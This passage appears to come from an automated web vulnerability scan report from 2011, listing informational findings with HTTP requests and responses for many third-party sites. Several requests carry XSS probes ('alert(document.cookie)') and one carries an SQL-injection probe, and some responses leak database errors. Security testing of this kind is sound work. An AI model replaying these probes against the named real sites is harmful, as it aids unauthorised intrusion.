Content-Length: 4

Hmm.

30.45. http://statistics.wibiya.com/SetToolbarLoad.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://statistics.wibiya.com
Path:	/SetToolbarLoad.php

Request

Response

30.46. http://system.referforex.com/processing/impressions.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://system.referforex.com
Path:	/processing/impressions.asp

Request

GET /processing/impressions.asp?btag=a_12172b_5218 HTTP/1.1
Host: system.referforex.com
Proxy-Connection: keep-alive
Referer: http://www.forex-direkt.de/?b35b2--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7a27f6b27d=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 400 Bad Request
Content-Type: text/html
Date: Sun, 06 Feb 2011 16:25:36 GMT
Connection: close
Content-Length: 39

<h1>Bad Request (Invalid Hostname)</h1>

30.47. http://t2.trackalyzer.com/trackalyze.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://t2.trackalyzer.com
Path:	/trackalyze.asp

Request

GET /trackalyze.asp?i= HTTP/1.1
Host: t2.trackalyzer.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: trackalyzer=123144565411843; loop=http%3A%2F%2Fwww%2Eowneriq%2Ecom%2Fownership%2Dtargeting%3Fsrc%3D728x90%5Fblue; ASPSESSIONIDQSASCCDB=BHKCCEFCEECILGBMNDBJGLEK;

Response

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Sat, 05 Feb 2011 23:01:21 GMT
Server: Microsoft-IIS/6.0
P3P: policyref="http://trackalyzer.com/w3c/p3p.xml", CP="NON DSP COR CURa OUR NOR"
Content-Length: 322
Content-Type: text/html
Set-Cookie: loop=; expires=Sun, 06-Feb-2011 08:00:00 GMT; path=/
Cache-control: private

<meta name="robots" content="noindex, nofollow">

<font face="Arial" size=2>
<p>Microsoft VBScript runtime </font> <font face="Arial" size=2>error '800a000d'</font>
<p>
<font face="Arial" size=2>Ty
...[SNIP]...

30.48. http://tags.bluekai.com/site/2956 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tags.bluekai.com
Path:	/site/2956

Request

Response

30.49. http://urlist.info/search/Kelentik previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://urlist.info
Path:	/search/Kelentik

Request

GET /search/Kelentik HTTP/1.1
Host: urlist.info
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:52:51 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.11
Connection: close
Content-Type: text/html
Content-Length: 25

Error connecting to mysql

30.50. http://uselessjunk.com/article_full.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://uselessjunk.com
Path:	/article_full.php

Request

GET /article_full.php HTTP/1.1
Host: uselessjunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:33:08 GMT
Server: Apache/2.2.12 (Ubuntu)
X-Powered-By: PHP/5.2.10-2ubuntu6.4
Vary: Accept-Encoding
Content-Length: 1587
Connection: close
Content-Type: text/html

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'LIMIT 1' at line 1<br />
<b>Warning</b>: mysql_fetch_array(): su
...[SNIP]...

30.51. http://redacted/FXM/iview/211419853/direct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://redacted
Path:	/FXM/iview/211419853/direct

Request

GET /FXM/iview/211419853/direct;wi.125;hi.125/01?click= HTTP/1.1
Host: redacted
Proxy-Connection: keep-alive
Referer: http://www.forex-direkt.de/?b35b2--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7a27f6b27d=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AA002=1294100002-3786607; MUID=DC63BAA44C3843F38378B4BB213E0A6F

Response

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Length: 240
Content-Type: text/html
Expires: 0
Connection: close
Date: Sun, 06 Feb 2011 16:25:58 GMT

<body style=margin:0><a target=_blank href="http://clk.atdmt.com/goiframe/152669141/211419853/direct;wi.125;hi.125/01" onclick="(new Image).src='http://t.redcated'"><img src="http://ec.redcated/b/FX
...[SNIP]...

30.52. http://redacted/MRT/iview/264255445/direct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://redacted
Path:	/MRT/iview/264255445/direct

Request

Response

Summary

Severity:	Information
Confidence:	Certain
Host:	http://webmail.aol.com
Path:	/$\|http:/travel.aol.com/$\|http:/netscape.aol.com/$\|http:/music.aol.com/radioguide/bb/$\|http:/money.aol.com/$\|http:/www.aim.com/help_faq/starting_out/buddylist.adp/$\|http:/www.weblogs.com/$\|http:/smallbusiness.aol.com/$\|http:/www.blackvoices.com/$\|http:/latino.aol.com/$\|.ivillage.com.*/1\|www.ivillage.com/(celeb-news\|entertainment-photos\|tv\|for-kids\|video\|entertainment\|movies\|food\|recipes\|table-talk\|food-for-kids\|food-advice\|food-news\|food-video

Request

GET /$|http:/travel.aol.com/$|http:/netscape.aol.com/$|http:/music.aol.com/radioguide/bb/$|http:/money.aol.com/$|http:/www.aim.com/help_faq/starting_out/buddylist.adp/$|http:/www.weblogs.com/$|http:/smallbusiness.aol.com/$|http:/www.blackvoices.com/$|http:/latino.aol.com/$|.ivillage.com.*/1|www.ivillage.com/(celeb-news|entertainment-photos|tv|for-kids|video|entertainment|movies|food|recipes|table-talk|food-for-kids|food-advice|food-news|food-video HTTP/1.1
Host: webmail.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 400 Bad Request
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Sun, 06 Feb 2011 16:05:08 GMT
Content-Length: 11

Bad Request

30.54. http://www.ad4mat.de/ads/banner_data.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ad4mat.de
Path:	/ads/banner_data.php

Request

GET /ads/banner_data.php?size=728_90&new=true&gparam=14786739C435671106&ULP&ghost=http://ad.zanox.com/ppc/&zid=890&pos=normal&zpar4=728_90&spez=&anz=&son=true HTTP/1.1
Host: www.ad4mat.de
Proxy-Connection: keep-alive
Referer: http://www.ad4mat.de/ads/conbanner_bild1.php?cat=bild_bildbanner&w=728&h=90&zanox_tracking_host=http://ad.zanox.com/ppc/&zanox_tracking_param=14786739C435671106%26ULP
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=a6c7ac389b2a2067a941af7e3ddfbc39; ad4mat_lb=1950001491.20480.0000

Response

HTTP/1.1 200 OK
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Content-Type: text/html
Content-Length: 5167
Date: Sun, 06 Feb 2011 17:04:07 GMT
X-Varnish: 3191956324
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>360 Grad Banner</title>
<!--
. advanced STORE GmbH / 2008 - 2011
ad4mat, a
...[SNIP]...

30.55. http://www.baselinemag.com/blank.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.baselinemag.com
Path:	/blank.gif

Request

Response

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.baselinemag.com
Path:	/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/&hl=en&client=ca-pub-6422417422167576&adU=www.RiminiStreet.com&adT=ImageAd&gl=US&usg=AFQjCNH5RnMJStR1tz53GbCMllXhLJ0M_g/

Request

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:05:18 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Content-Length: 3919

<html>
<head>
<title>404 Error Page</title>
</head>

<body>
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(u
...[SNIP]...

30.57. http://www.baselinemag.com/images/marketplace-hdr-bg.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.baselinemag.com
Path:	/images/marketplace-hdr-bg.gif

Request

Response

30.58. http://www.baselinemag.com/images/marketplace-hdr.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.baselinemag.com
Path:	/images/marketplace-hdr.gif

Request

Response

30.59. http://www.baselinemag.com/spacer.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.baselinemag.com
Path:	/spacer.gif

Request

Response

30.60. http://www.beckercatalog.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckercatalog.com
Path:	/

Request

GET / HTTP/1.1
Host: www.beckercatalog.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:12 GMT
Server: Apache
Last-Modified: Wed, 29 Aug 2007 17:36:30 GMT
ETag: "8de2ee9-277-46d5ae9e"
Accept-Ranges: bytes
Content-Length: 631
Connection: close
Content-Type: text/html

<html>
<head>
<title>'Becker Product Catalog' by Becker Orthopedic - Page %CURPAGENUM% of %LASTPAGENUM%</title>
<script type="text/javascript">
<!--
function settitle(str)
{
document.title=str;
}
//--
...[SNIP]...

30.61. http://www.beckeroregoncatalog.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckeroregoncatalog.com
Path:	/

Request

GET / HTTP/1.1
Host: www.beckeroregoncatalog.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:14 GMT
Server: Apache
Last-Modified: Wed, 04 Apr 2007 16:50:23 GMT
ETag: "a00eec07-276-4613d74f"
Accept-Ranges: bytes
Content-Length: 630
Connection: close
Content-Type: text/html

<html>
<head>
<title>'Becker Oregon Catalog' by Becker Orthopedic - Page %CURPAGENUM% of %LASTPAGENUM%</title>
<script type="text/javascript">

...[SNIP]...

30.62. http://www.beckerortho.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/

Request

Response

30.63. http://www.beckerortho.com/CAH_cd.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/CAH_cd.asp

Request

GET /CAH_cd.asp HTTP/1.1
Host: www.beckerortho.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDCQSSDRQQ=IPAPMINCNMAILFDLGLDILKCO; __utmz=115968021.1296942566.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=115968021.1099357074.1296942566.1296942566.1296942566.1; __utmc=115968021; __utmb=115968021;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 21:53:22 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 15402
Content-Type: text/html
Cache-control: private

<html>
<head>
<meta name="author-site" content="oandp.com">
<title>Becker Orthopedic - Educational CD</title>

<META NAME="description" CONTENT="Becker Orthopedic creates the largest line of orth
...[SNIP]...

30.64. http://www.beckerortho.com/catalog.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/catalog.htm

Request

Response

30.65. http://www.beckerortho.com/history.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/history.htm

Request

Response

30.66. http://www.beckerortho.com/history/becker_history.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/history/becker_history.htm

Request

Response

30.67. http://www.beckerortho.com/knee/training.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/knee/training.htm

Request

Response

30.68. http://www.beckerortho.com/pastfp.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/pastfp.htm

Request

Response

30.69. http://www.beckerortho.com/services.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/services.htm

Request

Response

30.70. http://www.beckerortho.com/tech.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/tech.htm

Request

Response

30.71. http://www.beckerortho.com/thanks.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/thanks.htm

Request

Response

30.72. http://www.bitty.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.bitty.com
Path:	/

Request

GET / HTTP/1.1
Host: www.bitty.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.73. https://www.blackberry.com/partnerzone/Forward.action previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.blackberry.com
Path:	/partnerzone/Forward.action

Request

GET /partnerzone/Forward.action HTTP/1.1
Host: www.blackberry.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.74. https://www.blackberry.com/partnerzone/Login.action previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.blackberry.com
Path:	/partnerzone/Login.action

Request

GET /partnerzone/Login.action HTTP/1.1
Host: www.blackberry.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.75. http://www.buscaglia.com/resources.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.buscaglia.com
Path:	/resources.htm

Request

GET /resources.htm HTTP/1.1
Host: www.buscaglia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.76. http://www.cisco.com/ipj/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cisco.com
Path:	/ipj/

Request

GET /ipj/ HTTP/1.1
Host: www.cisco.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.77. http://www.cisco.com/warp/public/707/newsflash.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cisco.com
Path:	/warp/public/707/newsflash.html

Request

GET /warp/public/707/newsflash.html HTTP/1.1
Host: www.cisco.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.78. http://www.csc.gatech.edu/copeland/jac/6612/info/Install-wireshark-on-MacOS.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.csc.gatech.edu
Path:	/copeland/jac/6612/info/Install-wireshark-on-MacOS.html

Request

Response

30.79. http://www.csc.gatech.edu/~copeland/6612/info/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.csc.gatech.edu
Path:	/~copeland/6612/info/

Request

GET /~copeland/6612/info/ HTTP/1.1
Host: www.csc.gatech.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:47 GMT
Server: Apache
Last-Modified: Thu, 27 Jan 2011 18:43:57 GMT
ETag: "f8803a-16b3-49ad855075540"
Accept-Ranges: bytes
Content-Length: 5811
Connection: close
Content-Type: text/html

<HTML>
<TITLE>6612/info
</TITLE>
<BODY BGCOLOR="#ffffff">
<BR><TT><PRE>
<CENTER><H3>Index of 6612/info</H3></CENTER><BR><BR>
<A HREF="..">Back</A>

Files: Length Date Edi
...[SNIP]...

30.80. http://www.csc.gatech.edu/~copeland/6612/info/Install-wireshark-on-MacOS.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.csc.gatech.edu
Path:	/~copeland/6612/info/Install-wireshark-on-MacOS.html

Request

Response

30.81. http://www.dest-unreach.org/socat/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dest-unreach.org
Path:	/socat/

Request

GET /socat/ HTTP/1.1
Host: www.dest-unreach.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.82. http://www.eweek.com/c/a/Web-Services-Web-20-and-SOA/Smarter-Enterprise-and-NextGeneration-Web-Services/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.eweek.com
Path:	/c/a/Web-Services-Web-20-and-SOA/Smarter-Enterprise-and-NextGeneration-Web-Services/

Request

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:06:57 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Content-Length: 3733

<html>
<head>
<title>404 Error Page</title>
</head>

<body>
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(u
...[SNIP]...

30.83. http://www.freedownloadscenter.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.freedownloadscenter.com
Path:	/

Request

GET / HTTP/1.1
Host: www.freedownloadscenter.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=118730462.1296942490.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=118730462.1479561773.1296942490.1296942490.1296942490.1

Response

HTTP/1.1 503 Service Temporarily Unavailable
Server: Apache/2.2.3 (CentOS)
Date: Sun, 06 Feb 2011 13:18:28 GMT
Content-Type: text/html
Content-Length: 213
Connection: keep-alive

<html>
<head><title>503 Service Temporarily Unavailable</title></head>
<body bgcolor="white">
<center><h1>503 Service Temporarily Unavailable</h1></center>
<hr><center>nginx/0.7.65</center>
</bod
...[SNIP]...

30.84. http://www.freedownloadscenter.com/Contact_us.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.freedownloadscenter.com
Path:	/Contact_us.html

Request

GET /Contact_us.html HTTP/1.1
Host: www.freedownloadscenter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=118730462.1296942490.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=118730462.1479561773.1296942490.1296942490.1296942490.1; __utmc=118730462; __utmb=118730462.1.10.1296942490;

Response

HTTP/1.1 503 Service Temporarily Unavailable
Server: Apache/2.2.3 (CentOS)
Date: Sun, 06 Feb 2011 16:03:14 GMT
Content-Type: text/html
Content-Length: 573
Connection: close

<html>
<head><title>503 Service Temporarily Unavailable</title></head>
<body bgcolor="white">
<center><h1>503 Service Temporarily Unavailable</h1></center>
<hr><center>nginx/0.7.65</center>
</bod
...[SNIP]...

30.85. http://www.freedownloadscenter.com/Interaction/enter.php3 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.freedownloadscenter.com
Path:	/Interaction/enter.php3

Request

GET /Interaction/enter.php3 HTTP/1.1
Host: www.freedownloadscenter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=118730462.1296942490.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=118730462.1479561773.1296942490.1296942490.1296942490.1; __utmc=118730462; __utmb=118730462.1.10.1296942490;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Date: Sat, 05 Feb 2011 22:05:49 GMT
Content-Type: text/html
Connection: close
Content-Length: 483
Keep-Alive: timeout=15, max=500

<br />
<b>Warning</b>: fsockopen() [<a href='function.fsockopen'>function.fsockopen</a>]: php_network_getaddresses: getaddrinfo failed: Name or service not known in <b>/home/freedownloadscenter.com/h
...[SNIP]...

30.86. http://www.freedownloadscenter.com/Reviews/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.freedownloadscenter.com
Path:	/Reviews/

Request

GET /Reviews/?1d45b%3Cscript%3Ealert(document.cookie)%3C/script%3E240943e9eaa=1 HTTP/1.1
Host: www.freedownloadscenter.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=118730462.1296942490.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=118730462.1479561773.1296942490.1296942490.1296942490.1; __utmb=118730462.1.10.1296942490

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Date: Sat, 05 Feb 2011 22:34:41 GMT
Content-Type: text/html
Connection: keep-alive
Content-Length: 129
Keep-Alive: timeout=15, max=500

select * from linkstobest where fdcurl="/Reviews/?1d45b%3Cscript%3Ealert(document.cookie)%3C/script%3E240943e9eaa=1" LIMIT 0 , 30

30.87. http://www.freedownloadscenter.com/terms/team-calendar/calendar.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.freedownloadscenter.com
Path:	/terms/team-calendar/calendar.html

Request

GET /terms/team-calendar/calendar.html HTTP/1.1
Host: www.freedownloadscenter.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=118730462.1296942490.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=118730462.1479561773.1296942490.1296942490.1296942490.1

Response

HTTP/1.1 503 Service Temporarily Unavailable
Server: Apache/2.2.3 (CentOS)
Date: Sun, 06 Feb 2011 13:18:19 GMT
Content-Type: text/html
Content-Length: 213
Connection: keep-alive

<html>
<head><title>503 Service Temporarily Unavailable</title></head>
<body bgcolor="white">
<center><h1>503 Service Temporarily Unavailable</h1></center>
<hr><center>nginx/0.7.65</center>
</bod
...[SNIP]...

30.88. http://www.itbusinessedge.com/info/gglprojmgmtbeta.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itbusinessedge.com
Path:	/info/gglprojmgmtbeta.aspx</TEMPLATE_FIELD>

Request

GET /info/gglprojmgmtbeta.aspx</TEMPLATE_FIELD> HTTP/1.1
Host: www.itbusinessedge.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.89. http://www.jazdtech.com/techdirect/lg/logImpressions.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.jazdtech.com
Path:	/techdirect/lg/logImpressions.htm

Request

Response

30.90. http://www.json.org/js.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.json.org
Path:	/js.html

Request

GET /js.html HTTP/1.1
Host: www.json.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:22 GMT
Server: Apache
Last-Modified: Thu, 18 Nov 2010 18:57:56 GMT
ETag: "b3-19a4-4ce57734"
Accept-Ranges: bytes
Content-Length: 6564
Connection: close
Content-Type: text/html

<html>
<head>
<title>JSON in JavaScript</title>
<style>
pre {font-family: "Courier New", Courier, mono; margin-left: 40pt}
</style>
</head>
<body bgcolor=linen>
<table width="100%" border="0">
<tr>

...[SNIP]...

30.91. http://www.khabbr.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.khabbr.com
Path:	/

Request

GET / HTTP/1.1
Host: www.khabbr.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:23 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Content-Length: 53
Connection: close
Content-Type: text/html

Error. The kh_config table is empty or does not exist

30.92. http://www.linkagogo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.linkagogo.com
Path:	/

Request

GET / HTTP/1.1
Host: www.linkagogo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.93. http://www.linkfixerplus.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.linkfixerplus.com
Path:	/

Request

GET / HTTP/1.1
Host: www.linkfixerplus.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.94. http://www.linuxsecurity.com/static-content/packetstorm.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.linuxsecurity.com
Path:	/static-content/packetstorm.html

Request

GET /static-content/packetstorm.html HTTP/1.1
Host: www.linuxsecurity.com
Proxy-Connection: keep-alive
Referer: http://www.linuxsecurity.com/advisories/?1'=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 473097ac08cef5345a0ef7ef35a119cd=-

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:34:45 GMT
Server: Apache
Last-Modified: Sat, 05 Feb 2011 22:25:01 GMT
ETag: "204438f-984-49b9078324940"
Accept-Ranges: bytes
Content-Length: 2436
Content-Type: text/html

document.write(" <TABLE WIDTH='160' BORDER='0' CELLSPACING='0' CELLPADDING='0'> <TR> <TD class=box_header_right> <A TARGET='_pd' HREF='http://packetstorm.linuxsecurity.com/'> <img src='templ
...[SNIP]...

30.95. http://www.networksimplicity.com/openssh/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.networksimplicity.com
Path:	/openssh/

Request

GET /openssh/ HTTP/1.1
Host: www.networksimplicity.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.96. http://www.pgpi.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pgpi.org
Path:	/

Request

GET / HTTP/1.1
Host: www.pgpi.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.97. http://www.sitejot.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.sitejot.com
Path:	/

Request

GET / HTTP/1.1
Host: www.sitejot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.98. http://www.slackinc.com/journals.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackinc.com
Path:	/journals.asp

Request

